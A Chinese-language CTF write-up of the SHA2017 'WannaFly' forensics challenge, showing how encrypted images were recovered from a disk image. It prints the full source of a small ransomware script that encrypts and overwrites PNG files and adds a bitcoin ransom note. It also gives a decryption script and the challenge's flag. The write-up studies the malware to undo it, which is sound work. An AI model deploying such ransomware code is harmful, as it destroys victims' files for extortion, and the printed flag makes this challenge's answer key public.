SHACTF-2017-WannaFly-writeup。虽然只有100分，不过比国内一些比赛的题目质量好多了。

题目

WannaFly (100)
My daughter Kimberly her computer got hacked. Now she lost all her favorite images. Can you please help me recover those images?
wannafly.tgz
7509faed92d67a242068de6605659ca1

分析

镜像

题目压缩包下载下来后解压有一个img镜像文件。用DiskGenius载入后浏览文件。

文件.bash_history内容如下：

unset HISTFIL
ls -la
pwd
chmod +x ...
./... Hb8jnSKzaNQr5f7p
ls -Rla

文件...内容是一个python脚本，这边先不放出来，放在后面分析用。这里有个坑，DiskGenius是在win平台下的，直接把这个文件导出来后，win系统无法识别点开头的文件根本无法打开，也不能删除。我的方法是把这个导出来的文件先用压缩包压缩后，在压缩包中进行一下重命名，之后再解压缩出来。

在Picture文件夹里有一些被加密后的图片。如下：

深入分析

前面我们得到了...文件，其内容如下：

#!/usr/bin/env python
import random, string, sys, os
from time import time
from Crypto.Cipher import AES
import base64
from PIL import Image
from PIL import ImageFont
from PIL import ImageDraw
from PIL import ImageFilter
import textwrap
from io import BytesIO
IMG="""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"""
MSG="""This Image is encrypted by WannaFly Ransom-ware. If you want your original image back, feel free to contact us on sha2017ctf@gmail.com and make a bitcoin payment of 0.1 bitcoin to address 1QCc1EYncxTeSfTKpaCZ2hvMDwXULKRVWe"""
def get_iv():
    iv = ""
    random.seed(int(time()))
    for i in range(0,16):
        iv += random.choice(string.letters + string.digits)
    return iv
def encrypt(m, p):
    iv=get_iv()
    aes = AES.new(p, AES.MODE_CFB, iv)
    return base64.b64encode(aes.encrypt(m))
def decrypt(m, p, i):
    aes = AES.new(p, AES.MODE_CFB, i)
    return aes.decrypt(base64.b64decode(m))
def find_images():
    i = []
    #for r, d, f in os.walk(os.environ['HOME']):
    for r, d, f in os.walk("."):
        for g in f:
            if g.endswith(".png"):
                i.append((os.path.join(r, g)))
    return i
def encrypt_images():
    for i in find_images():
        img = Image.open(i).filter(ImageFilter.GaussianBlur(radius=18))
        draw = ImageDraw.Draw(img)
        font = ImageFont.truetype("/usr/share/fonts/truetype/freefont/FreeSans.ttf", 18)
        text = textwrap.wrap(MSG, width=60)
        W, H = img.size
        bird = Image.open(BytesIO(base64.b64decode(IMG)))
        bw, bh = bird.size
        offset = ((W-bw)/2, (H-bh)/2 - 80)
        img.paste(bird, offset, bird)
        pad = 0
        for line in text:
            w, h = draw.textsize(line, font=font)
            draw.text(((W-w)/2, (H-h)/2 + pad), line, font=font, fill="white")
            pad += 20
        img.save('/tmp/sha.png')
		encrypt_image(i)
def encrypt_image(img):
    data = open(img, 'r').read()
    encrypted_img = encrypt(data, sys.argv[1])
    blurred_img = open('/tmp/sha.png', 'r').read()
    stat = os.stat(img)
    with open(img, 'r+') as of:
        of.write('\0' * stat.st_size)
        of.flush()
    open(img, 'w').write(blurred_img + "\n" + encrypted_img)
if __name__ == '__main__':
    if len(sys.argv) != 2:
        print "Usage: %s <pass>" % sys.argv[0]
    else:
        encrypt_images()

可以看出这是一个加密脚本。其调用过程如下：

调用find_images()找到png文件，
先根据png文件生成一张“模糊”的图片并保存到sha.png中，
接着调用encrypt_image(img)。
1. 先把原图片进行了一次encrypt()加密，得到encrypted_img
2. 读取之前生成的sha.png文件，作为blurred_img
3. 将blurred_img + “\n” + encrypted_img 的内容写入图片文件。

用十六进制编辑器打开可以验证。图片中0A即为10，这是”\n”的的十六进制表示。之前的数据即为blurred_img，之后的数据即为encrypted_img。

接下来我们看看怎么进行encrypt()函数。encrypt()加密使用了AES加密。要对密文解密的话，我们可以调用decrypt(m, p, i)，这需要三个参数，m即加密后的数据，p即密钥，i即偏移量。

m是加密后的数据，直接打开图片进行提取就行。

p是密钥。在运行脚本是通过命令行参数读入。结合之前得到的.bash_history中的chmod +x ... ./... Hb8jnSKzaNQr5f7p，我们推测Hb8jnSKzaNQr5f7p即为密钥。

i是偏移量，通过get_iv()生成。其中使用int(time())来作为生成伪随机数的种子。图片的修改时间是可以获得的。所以i，我们也得到了。

exp

脚本如下：

from Crypto.Cipher import AES
import base64
import random
import string
import os
def find_images():
    i = []
    for r, d, f in os.walk("."):
        for g in f:
            if g.endswith(".png"):
                i.append((os.path.join(r, g)))
    return i
def get_iv(time):
    iv = ""
    random.seed(int(time))
    for i in range(0,16):
        iv += random.choice(string.letters + string.digits)
    return iv
def decrypt(m, p, i):
    aes = AES.new(p, AES.MODE_CFB, i)
    return aes.decrypt(base64.b64decode(m))
p = "Hb8jnSKzaNQr5f7p"
for i in find_images():
	new_img_name = i[len("./Pictures/"):-4]
	old_img = open(i, 'r').read()
	data = old_img[old_img.find("IEND")+9:]
	print(data[0:5])
	old_img_time = os.stat(i).st_mtime
	new_img_name = str(old_img_time) + new_img_name
	iv = get_iv(old_img_time)
	# print(iv)
	new_img = open(new_img_name,"wb")
	new_img.write(decrypt(data,p,iv))
	new_img.close()

其中old_img_time = os.stat(i).st_mtime，是为了获得图片的修改时间。

运行后会得到一些图片。其中一张如下：

得到flag：

1	flag{ed70550afe72e2a8fed444c5850d6f9b}